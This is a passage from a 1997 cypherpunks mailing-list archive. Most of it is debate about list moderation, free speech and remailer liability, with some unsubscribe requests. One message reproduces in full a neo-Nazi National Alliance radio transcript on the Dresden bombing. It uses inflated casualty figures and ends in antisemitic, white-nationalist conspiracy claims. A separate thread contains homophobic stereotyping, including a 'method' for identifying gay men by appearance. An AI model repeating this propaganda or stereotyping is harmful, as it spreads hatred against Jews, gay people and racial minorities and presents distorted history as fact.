MIME-Version: 1.0
Content-Type: text/plain


At 07:18 PM 2/12/97 -0600, Jim Choate wrote:
[quoting Tim May]
>> I was making the point that _any_ site distributing a list is likely to
>> face legal pressures not to carry certain items. Read between the lines (or
>> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
>> the products of Sandy's company, and legal pressures applied, to see what I
>> mean.
>
>This is exactly the reason that my suggestion to anyone setting up a
>remailer with any sort of controversial content should do it as some sort of
>outreach of their business. It is too expensive in time, money, and hassles
>to do for grins and giggles.

I disagree strongly that a controversial or legally troublesome list (or
other data stream) should be closely associated with a business. While I
agree that it's important that a list be supported by a robust
hardware/software/network infrastructure, businesses tend to be focused on
making money and maintaining business relationships, not on abstract or
philosophical goals like "free speech".

(Also, what is the "right" thing to do where a particular exercise of free
speech looks like it has serious potential to harm the business, thereby
harming or eliminating the list which makes the speech possible? Isn't
every choice a person could make in such a situation reducible to
"censorship"?)

Every "forum" for free speech occurs exists in the context of economic and
political relationships - and there will always be some message which
threatens (to some degree) the stability of those relationships, and by
implication, the forum itself. Unless we can eliminate economics and
politics (ha, ha) I think that will always be the case - and there will
always be some messages which raise "conflict of interest" problems. But
some forums rest on less stable relationships (like, for example, most
small businesses) and are more easily threatened by difficult messages.
It's much easier to disrupt the income stream of a small business than to
disrupt the income stream from a portfolio of investments or savings. But
even a system whose upkeep was funded by something as unremarkable as
interest on a savings account or a CD would still theoretically be
"conflicted" were someone to use the system to propose or carry out a
scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
loot various savings & loans. 

The threat(s) to systems providing transport/storage for controversial
messages are not limited to liability after a judgement; it is becoming
more common for civil plaintiffs to seek (and get) discovery of the actual
hardware owned and used by defendants, in order to look through the storage
media for discoverable information, including "deleted" files. The tactics
the Co$ used against its critics were shocking but also legal (modulo some
irregularities). It's certainly not unimaginable that similar tactics would
be used against a remailer or majordomo operator were the list to pass
traffic that someone didn't like. And if a computer system is the target of
a search warrant in the criminal arena, you'll be lucky if you get to keep
your electronic alarm clocks after the search. Count on everything with a
chip in it going away in the police van.

Most businesses don't want to expose themselves to the threat of civil or
criminal seizure or discovery, especially not at random times and for
non-business reasons. So, to the extent that they're paying attention, they
may choose not to expose themselves to extra liability which carries little
(or no) business value.  
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 19:26:12 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale-Further proof
Message-ID: <199702140326.TAA18432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> Yet another Dale day (blah):
> :From: Dale Thorn <dthorn@gte.net>
> :Another blood stain on Gilmore's shroud, as it were.

> As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.
> As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

Unlike crypto, metaphors are easier to "decode" than "encode", so it
takes quite a bit less intellect for you to understand them than it
takes for me to make them.  But I don't see that as a "bad" thing
for you.  It's a savage, cruel world out there, and only when you
shut yourself off to it (unwittingly in your case) do you feel "good".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Thu, 13 Feb 1997 08:56:06 -0800 (PST)
To: "'cyberpunk@toad.com>
Subject: FW: I would like to be out of your mailing list
Message-ID: <199702131656.IAA05958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I would like to get out of your mailing list , please indicate the correct procedure. Thanks. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Thu, 13 Feb 1997 15:26:15 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE FROM MAILINGS
Message-ID: <199702132326.PAA13543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS.

THANK YOU






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 13 Feb 1997 20:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale disses gays.
Message-ID: <199702140456.UAA21144@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 13 Feb 1997 19:35:01 -0800
From: Dale Thorn <dthorn@gte.net>

:Another funny thing - I'm an ordinary English/Welsh/Dutch White :person,

Makes me hate myself.

:and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

How, Dale, by the smell?

:I can only guess that the gays are very clique-ish,
:or their brains are wired differently than non-gays.

Perhaps the hard wiring makes it possible for them to avoid bigots like you. 

Sign him up to pass out the pink triangles.

What a fraud!

Still love you, big guy.
Can you tell?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:56:22 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702140456.UAA21168@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> A federal judge has temporarily stopped an abortion foe from
> identifying his web site as belonging to Planned Parenthood and
> selling an anti-abortion book from that home page. The temporary
> restraining order, issued Wednesday, stops Richard Bucci from
> identifying his home page as "Planned Parenthood's Home Page" and
> using "plannedparenthood.com" as a domain name. Planned Parenthood,
> which has its own web site, sued Bucci for trademark infringement. The
> next hearing is slated for Feb. 20. For the full text story, see
> http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

"Planned Parenthood". Has a nice ring to it, eh? Let's look at some
history:

Founded by Margaret Sanger (1879-1966).
Publisher of Birth Control Review.
Associate Henry Laughlin:
  Honorary MD from Heidelburg U (1936).
  Author of Hitler's Model Eugenical Sterilization Law.
  Author of "Mandatory Sterilization In The USA", published
   in Birth Control Review.
Associate Dr. Ernst Rudin:
  Director of Nazi Medical Experimentation program;
   commissioned to write for Birth Control Review.
Associate Dr. Lothrop Stoddard:
  Director, American Birth Control League.
  Vocal supporter of Nazis and their sterilization programs.
  Author of "The Rising Tide Of Color Against White Supremacy".
  Quote: "More children from the fit - less from the unfit. That
         is the chief aim of birth control." -from Birth Control
         Review circa 1921.

Margaret described her plan to depopulate the Blacks in the U.S. in
a private letter to Clarence Gamble, dated Oct. 19, 1939.  Her plan
was to hire Black ministers with engaging personalities to travel
thru the South to propagandize for birth control.  It was believed
that the best access to the Blacks was thru religion, and Sanger's
steering committee wanted to create the illusion that these projects
were under the control of the local Black leaders.

For those of you who don't know, there were a lot of successful
sterilizations in the U.S. when these programs were in effect during
Sanger's earlier years.  Persons wishing to research this should
also check Shockley, the transistor guy who won a Nobel prize for
something or other, and his friendship with George Bush et al.

I believe it was A&E channel that ran the Sanger TV-movie disinfor-
mation/propaganda a year or so ago.  You know, the channel that has
been described by critics as "All Hitler, all the time".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:56:19 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale disses gays.
Message-ID: <199702140456.UAA21158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

> :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

> How, Dale, by the smell?

I worked for a gay man in Beverly Hills and Encino for 3 years.  I
learned a lot about "signals" during that time.  Bigot?  I don't
think so.  One of my favorite customers, a nice lady who is Jewish
(and who grew up where I did) told me she could spot 'em every time.

> Sign him up to pass out the pink triangles.
> What a fraud!  Still love you, big guy.  Can you tell?

I'll bet you do!  Er, I wouldn't bend over in front of you, that is.
No offense, ya' know.

BTW, my browser has a problem with your lines that have no c/r after
every 70 or so characters. Other people will undoubtedly confirm that.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 21:10:59 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (2) More on Digital Postage
Message-ID: <199702140510.VAA21678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May allegedly said:
> 
[...]
> By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> violations of the First Amendment.

You are entitled to any tortuous idiosyncratic opinion you care to
hold, of course.

> I understand why the herd _wants_ these
> laws, as it reduces the costs involved in replacing fax paper, running to
> the telephone only to find someone trying to sell something, etc., but it
> is quite clearly a prior restraint on speech, however well-intentioned.

"Prior restraint" is not a magic key.  Not all speech is protected.  
Of course, once again, you are free to disagree with the massive 
body of legal precedent on this issue.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 22:11:26 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dale disses gays.
Message-ID: <199702140611.WAA23321@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Huge Cajones Remailer wrote:
> > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> 
> > How, Dale, by the smell?
> 
> I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> learned a lot about "signals" during that time.  Bigot?  I don't
> think so.  One of my favorite customers, a nice lady who is Jewish
> (and who grew up where I did) told me she could spot 'em every time.

This is a typical case of overconfidence on her part.

If she thought about it for longer, she would realize that she cannot
benchmark her gay-spotting performance very well.

If you presented her with, say, 100 unknown men and 50 of them were gays
and she'd identify everyone correctly, I would be impressed.

A truly great and simple book that talks about this stuff is ``Decision
Traps: the ten barriers to brilliant decision making''.

> BTW, my browser has a problem with your lines that have no c/r after
> every 70 or so characters. Other people will undoubtedly confirm that.

Yes, we will.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joburger@world.evansville.net
Date: Wed, 12 Feb 1997 06:42:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Filling Power Vacuums
Message-ID: <199702121442.GAA20419@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> heh. perhaps "leadership" involves more than posting. perhaps there
> is a way to have "leadership" without hierarchy. perhaps "leadership"
> is not equivalent to "management". perhaps sometimes
> you win by losing, and lose by winning. perhaps water is so powerful
> because it is lower than all that which it flows around.

Could you explain the bit about having leadership w/o hierarchy.  Yes 
,if there is an informal leadership such as what Tim was refering to, 
then their is no heirarchy.  However, as soon as people get 
designated as 'leaders' or 'moderators' then one has to have heirechy 
in that no matter how the various pieces of a system are arranged, 
they have to be arranged somehow, even completely at random.

imho (which you seem to have so many of) you could spare the 
pseudo-Zen BS.

 
> <Now, of course, the message is being sent that Sandy Sandfort is in some
> <sense the de facto leader, being that he determines what traffic goes out
> <to the main list and what traffic gets bounced into the flames list. In
> <fact, I'll make a prediction: The media will see that he is the chief
> <censor and arbiter of worthiness and will increasingly contact him for the
> <Official Point of View on various items they are interested in.
> 
> timmy, why are you so upset about the media angle? why do you give the
> slightest damn what the media thinks? answer: because you want to be
> the one they call when they want to know what the cypherpunks think.
> you want them to pay attention to the cypherpunks. in short, you would
> like to have the glamor of a leader, without any of the responsibility.

I don't think he was suggesting this in the least, he is quite 
capable of defending himself.  I don't particularly like the idea of 
someone that I had no part in choosing being seen as representative 
of my views.


 
> I think you would be surprise at the realization that "leaders" exist
> in those so-called "anarchies"


Key word 'so-called'  An anarchie is usually a conceptual ideal that 
is never reached, sorta like a democracy.

> <I am resentful and suspicious of people who _do_ step into the
> <"power vacuum" to lead and control.
> <Now I grant you that Sandy's form of leadership and control is relatively
> 
> apparently in your brain, "lead" == "control"

Dosen't it though?  How else can one 'lead'.  Even if just by setting 
an example the leader is changing the follower's actions, e.g. 
controlling.  Granted the follower is volentarily submitting to this 
control, but it is control none the less.  Most other cases of hard 
leadership are not as nice.


Josh 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Feb 1997 06:56:02 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: FW: I would like to be out of your mailing list
Message-ID: <199702141456.GAA07158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:00 PM 2/13/97 +0200, you wrote:
>
>I would like to get out of your mailing list , 
>please indicate the correct procedure. Thanks. 

Send mail to cypherpunks-request on the machine sending you mail
saying "help" and you'll get instructions.  Servers include toad.com,
manifold.algebra.com or cyberpass.net.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin Hoogheem <khooghee@marys.SMUMN.EDU>
Date: Thu, 13 Feb 1997 22:11:02 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Cypherpunks Mailing List
Message-ID: <199702140611.WAA23264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


GET ME off this list!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 22:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140611.WAA23332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 15:42:48 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)

> I disagree strongly that a controversial or legally troublesome list (or
> other data stream) should be closely associated with a business.

No. IS the business.

> (Also, what is the "right" thing to do where a particular exercise of free
> speech looks like it has serious potential to harm the business, thereby
> harming or eliminating the list which makes the speech possible? Isn't
> every choice a person could make in such a situation reducible to
> "censorship"?)

Get somebody else to do the marketing, your current promoter is incompitent.
I don't think I can accept "personal choice" == "censorship". To my mind
personal choice is a decision I make based on my wants and needs. Cencorship
is a decision about my want and needs made by somebody else. Distinction is
pretty clear to me.

> Every "forum" for free speech occurs exists in the context of economic and
> political relationships - and there will always be some message which
> threatens (to some degree) the stability of those relationships, and by
> implication, the forum itself. Unless we can eliminate economics and
> politics (ha, ha) I think that will always be the case - and there will
> always be some messages which raise "conflict of interest" problems. But
> some forums rest on less stable relationships (like, for example, most
> small businesses) and are more easily threatened by difficult messages.

Everthing exists in a context of economic and political relationship, and
religous ones, and intellectual ones, and historic ones, and cultural ones,
and sexual ones, etc.  Life is inherently unstable, what makes anyone
believe that ANY forum is not under constant threat of extinction? If from
nothing else sheer boredom.

Life ain't that simple.

If there were no "conflict of interest" problems we wouldn't have our
interests in the first place. Also, why do you believe that conflict doesn't
have a market as well?

> It's much easier to disrupt the income stream of a small business than to
> disrupt the income stream from a portfolio of investments or savings.

Depends on where that income stream comes from.

> But
> even a system whose upkeep was funded by something as unremarkable as
> interest on a savings account or a CD would still theoretically be
> "conflicted" were someone to use the system to propose or carry out a
> scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
> loot various savings & loans. 

Would one of the persons be a owner?

> The threat(s) to systems providing transport/storage for controversial
> messages are not limited to liability after a judgement; it is becoming
> more common for civil plaintiffs to seek (and get) discovery of the actual
> hardware owned and used by defendants, in order to look through the storage
> media for discoverable information, including "deleted" files. The tactics
> the Co$ used against its critics were shocking but also legal (modulo some
> irregularities). It's certainly not unimaginable that similar tactics would
> be used against a remailer or majordomo operator were the list to pass
> traffic that someone didn't like. And if a computer system is the target of
> a search warrant in the criminal arena, you'll be lucky if you get to keep
> your electronic alarm clocks after the search. Count on everything with a
> chip in it going away in the police van.

Irrelevant. Whether the system were private or business would make no
difference to the warrant. The question is,

"Since I run a system on the Internet and may become involved through no fault
of my own with legal difficulties because of my activities how do I pay for
the legal bills and various other consequences?"

Another question affecting financing is,

"Whether I am doing this for fun or business the cost will be the same. From
a effort and resources perspective, including the realities of the tax code
and cash flow, which is in my best interest?"

I would also offer that it isn't in the best interest of any party to shut a
Internet site of some report down. Consider the cypherpunks mailing list.
Assume for a moment that the remailer was to mysteriously disappear tonite
at midnite. If Sandy or somebody didn't put something up within a day or two
entirely too many people would start asking "whaz up?" The most successful
strategy would be to impose some sort of continous drain on the business
until it seemed to fold of natural causes. I contend that a business will
hold out much longer than most individuals will.

> Most businesses don't want to expose themselves to the threat of civil or
> criminal seizure or discovery, especially not at random times and for
> non-business reasons.

Exactly! It isn't a weakness, it's a strength.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adv Info <advinfo@dreamon.com>
Date: Fri, 14 Feb 1997 06:56:33 -0800 (PST)
To: advinfo@dreamon.com
Subject: American Dissident Voices Weekly Transcripts
Message-ID: <199702141456.GAA07243@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

For more information, please e-mail advinfo@dreamon.com. Please visit
our World Wide Web Site at http://www.natall.com. For patriotic books
and tapes, visit National Vanguard Books Online Catalog at 
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------

American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Dresden: A Real Holocaust

by Kevin Alfred Strom 

The night of February 13th, and February 14th, Valentine's Day, mark an
ominous anniversary in the history of Western Civilization. For
beginning on the night of February 13th, 1945, occurred the destruction
of Dresden. 

On the eve of Valentine's Day, 1945, World War II in Europe was nearly
over. For all practical purposes Germany was already defeated. Italy,
and Germany's other European allies, had fallen by the wayside. The Red
Army was rushing to occupy vast areas of what had been Germany in the
East, while the allies of the Soviets, the British and Americans, were
bombing what was left of Germany's defenses and food and transportation
infrastructure into nonexistence. 

And what was Dresden? Most of you have probably heard of Dresden China,
and that delicately executed and meticulously detailed porcelain is
really a perfect symbol for that city. For centuries Dresden had been a
center of art and culture, and refined leisure and recreation. She was a
city of art museums and theatres, circuses and sports stadia, a town of
ancient half-timbered buildings looking for all the world like those of
medieval England, with venerable churches and centuries-old cathedrals
gracing her skyline. She was a city of artists and craftsmen, of actors
and dancers, of tourists and the merchants and hotels that served them.
Above all, what Dresden was, was defined during the war by what she was
not. She had no significant military or industrial installations.
Because of this, Dresden had become, above all other things that she
was, a city of children, of women, of refugees, and of the injured and
maimed who were recovering from their wounds in her many hospitals. 

These women and children, these wounded soldiers, these infirm and
elderly people, these refugees fleeing from the brutal onslaught of the
Communist armies to the East, had come to Dresden because it was
commonly believed at the time that Dresden would not be attacked. Its
lack of strategic or military or industrial significance, and the
well-known presence of hundreds of thousands of innocent civilian
refugees and even Allied prisoners of war, seemed to guarantee safety to
the city. Surely, it was thought, not even a the most powerful and
determined enemy would be so depraved and sadistic, and so wasteful of
that enemy's own resources, to attack such a city. But the people of
Dresden, who were happily attending the cinema or eating dinner at home
or watching the show-horses in the circus on that fateful night were
wrong, wrong, wrong. And their leaders were also wrong, for the city was
virtually open and undefended and only minimal civil defense
preparations had been made. 

Dresden's population had almost doubled in the months before the attack,
mainly as a result of the influx of refugees from the Eastern Front,
most of them women and young children. According to British historian
David Irving, the briefings given to the British bomber squadrons before
the attack on Dresden were curiously different. In one, the soldiers
were told that their target was the railway center of Dresden. In
another, they were told that the target was a poison-gas factory. In yet
another, they were told that the target was a marshalling-grounds for
troops in the city. Another was told that the target was a major
arsenal. These were all lies. 

The only marshalling-grounds for what few troops were in the area were
located well outside the city. The arsenal had burned down in 1916.
There were factories for toothpaste and baby-powder in Dresden, but none
for poison gas. There were, in fact, no fewer than eighteen railway
stations in Dresden, but only one was hit by the bombing, and that was
barely touched and in fact was operating again just three days later. 

According to copious documentation unearthed by David Irving from the
archives of the American and British governments, the point of the
attack was in fact to inflict the maximum loss of life on the civilian
population and particularly to kill as many refugees as possible who
were fleeing from the Red Army. In achieving these goals it was highly
successful. It was thus planned and executed by those at the very
highest levels of the British and American governments, who to attain
their purposes even lied to their own soldiers and citizens, who to this
day have never been told the full story by their leaders. 

How was this devastating effect accomplished? 

At 10:10 PM on February 13th, the first wave of the attack, consisting
of the British Number 5 Bomber Group, began. The attacking force
consisted of about 2,000 bombers with additional support craft, which
dropped over 3,000 high explosive and 650,000 incendiary bombs (more
commonly known as firebombs) on the center of the city. Incendiary bombs
are not known for their efficiency per pound in destroying heavy
equipment such as military hardware or railroad tracks, but are
extremely effective in producing maximum loss of human life. The loads
carried by the bombers were over 75 per cent incendiaries. In fact, the
goal of the first wave of the attack was, according to British air
commander Sir Arthur Bomber Harris, to set the city well on fire. That
he did. 

The lack of any effective anti-aircraft defenses allowed the bombers to
drop to very low altitudes and thus a relatively high degree of
precision and visual identification of targets was achieved. Despite the
fact that they could clearly see that the marked target area contained
hospitals and sports stadia and residential areas of center city
Dresden, the bombers nevertheless obeyed orders and rained down a fiery
death upon the unlucky inhabitants of that city on a scale which had
never before been seen on planet Earth. Hundreds of thousands of
innocents were literally consumed by fire, an actual holocaust by the
true definition of the word: complete consumption by fire. 

The incendiaries started thousands of fires and, aided by a stiff wind
and the early-on destruction of the telephone exchanges that might have
summoned firefighters from nearby towns, these fires soon coalesced into
one unimaginably huge firestorm. Now such firestorms are not natural
phenomena, and are seldom created by man, so few people have any idea of
their nature. Basically, what happened was this: The intense heat caused
by the huge column of smoke and flame, miles high and thousands of acres
in area, created a terrific updraft of air in the center of the column.
This created a very low pressure at the base of the column, and
surrounding fresh air rushed inward at speeds estimated to be thirty
times that of an ordinary tornado. An ordinary tornado wind-force is a
result of temperature differences of perhaps 20 to 30 degrees
centigrade. In this firestorm the temperature differences were on the
order of 600 to 1,000 degrees centigrade. This inward-rushing air
further fed the flames, creating a literal tornado of fire, with winds
in the surrounding area of many hundreds of miles per hour--sweeping
men, women, children, animals, vehicles and uprooted trees pell-mell
into the glowing inferno. 

But this was only the first stage of the plan. 

Exactly on schedule, three hours after the first attack, a second
massive armada of British bombers arrived, again loaded with high
explosive and massive quantities of incendiary bombs. The residents of
Dresden, their power systems destroyed by the first raid, had no warning
of the second. Again the British bombers attacked the center city of
Dresden, this time dividing their targets--one half of the bombs were to
be dropped into the center of the conflagration, to keep it going, the
other half around the edges of the firestorm. No pretense whatever was
made of selecting military targets. The timing of the second armada was
such as to ensure that a large quantity of the surviving civilians would
have emerged from their shelters by that time, which was the case, and
also in hopes that rescue and firefighting crews would have arrived from
surrounding cities, which also proved to be true. The firefighters and
medics thus incinerated hadn't needed the telephone exchange to know
that they were needed--the firestorm was visible from a distance of 200
miles. 

It is reported that body parts, pieces of clothing, tree branches, huge
quantities of ashes, and miscellaneous debris from the firestorm fell
for days on the surrounding countryside as far away as eighteen miles.
After the attack finally subsided, rescue workers found nothing but
liquefied remains of the inhabitants of some shelters, where even the
metal kitchen utensils had melted from the intense heat. 

The next day, Ash Wednesday and Valentine's Day, 1945, medical and other
emergency personnel from all over central Germany had converged on
Dresden. Little did they suspect that yet a third wave of bombers was on
its way, this time American. This attack had been carefully coordinated
with the previous raids. Four hundred fifty Flying Fortresses and a
support contingent of fighters arrived to finish the job at noon. I
quote from David Irving's The Destruction of Dresden: 

"Just a few hours before Dresden had been a fairy-tale city of spires
and cobbled streets .... now total war had put an end to all that.
...The ferocity of the US raid of 14th February had finally brought the
people to their knees... but it was not the bombs which finally
demoralised the people ... it was the Mustang fighters, which suddenly
appeared low over the city, firing on everything that moved .... one
section of the Mustangs concentrated on the river banks, where masses of
bombed-out people had gathered. ... British prisoners who had been
released from their burning camps were among the first to suffer the
discomfort of machine-gunning attacks .... wherever columns of tramping
people were marching in or out of the city they were pounced on by the
fighters, and machine-gunned or raked with cannon fire." 

Ladies and gentlemen, on this program I can only give you a bare glimpse
of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer
than 135,000 innocent victims died, with some estimates as high as
300,000. More died in Dresden than died in the well-known attacks on
Hiroshima and Nagasaki. More destruction befell Dresden in one day than
was inflicted on the whole of Britain during the entire war. And yet you
haven't been told. 

I urge every one of you to read The Destruction of Dresden by David
Irving. I assure you, after reading Irving's book, you will never take
seriously the Establishment's version of what happened in that war
again. 

What you ought to take seriously, though, is the fact that the same
clique that controlled the traitorous Roosevelt and Churchill
governments, whose hatred of our race and civilization and whose
alliance with Communism were the real causes of the holocaust of
Dresden, still controls our government and our media today. It is they
who are pushing for a disarmed, racially mixed America. It is they who
promote the teaching of sodomy to our young children. It is they who are
destroying our industrial infrastructure in the name of a global
economy. It is they who created the drug subculture and then also the
police state agencies which pretend to fight it. The hour is very late
for America and indeed for all of Western civilization. But if patriots
will heed our call, then there is no reason for despair. For the enemies
of our nation may have power, but their power is based on lies. Won't
you help us cut through the chain of lies that holds our people in
mental slavery? 

~

National Alliance Main Page
http://www.natvan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Feb 1997 08:11:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
Message-ID: <199702141611.IAA09316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.

> This is a typical case of overconfidence on her part.
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.

If you really intended to do this as an experiment, this method would
not work.  The way it works (and what she meant I believe):

1. Start with 100. Observe them very briefly and pick the most obvious
   candidates from immediately-discernable features. How accurate this
   would be is not so much hit or miss by misidentification as it is
   making too broad an evaluation on the first round.
2. Now that you've eliminated the most obvious of the gays and the
   most obvious non-gays, take only what's left and observe for
   somewhat longer, and you should be able (if you're as good as her)
   to pick off quite a few more.  In the end, of course, there has
   to be doubt about quite a few, which is the whole point of having
   a non-discriminatory policy, so that nobody feels compelled to
   make judgements where they are not warranted.

If you think I'm carrying this too far, check out the comedy movie
with Tom Hanks and Sally Field, where Hanks identifies a Jewish
doctor by superficial appearance alone.  It's my only point.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 14 Feb 1997 14:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142211.OAA15763@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

[Fluffy Gilmore apologia by Declan expunged]

Two small points.

1.  The rift between Gilmore/EFF and Cypherpunks is hardly
    of recent origin, and dates back to when the EFF first
    demonstrated to horrified Cypherpunks that its policy
    would be one of appeasement and capitulation towards
    clearly unacceptable legislation.  This is all in the
    archives, including Tim May's essay on why he chose not
    to renew his EFF membership.

2.  The article fails to mention Gilmore's new nickname. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142356.PAA18080@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike sheds more heat than light on the issue. Gilmore does not always
represent the EFF; not every action of his is an EFF action.

As for the "rift," may observers said at the time that DT was a Jerry
Berman "appeasement and capitulation" scheme. Note Berman no longer works
at EFF. Note EFF is no lnoger in DC.

And yes, I've read Tim May's essay on his EFF membership. I probably would
have had the same reaction.

-Declan


On Fri, 14 Feb 1997, Mike Duvos wrote:

> John Gilmore <gnu@toad.com> writes:
> 
> [Fluffy Gilmore apologia by Declan expunged]
> 
> Two small points.
> 
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 
> 2.  The article fails to mention Gilmore's new nickname. :)
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@wazoo.com>
Date: Fri, 14 Feb 1997 15:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dale disses gays.
Message-ID: <199702142326.PAA16954@toad.com>
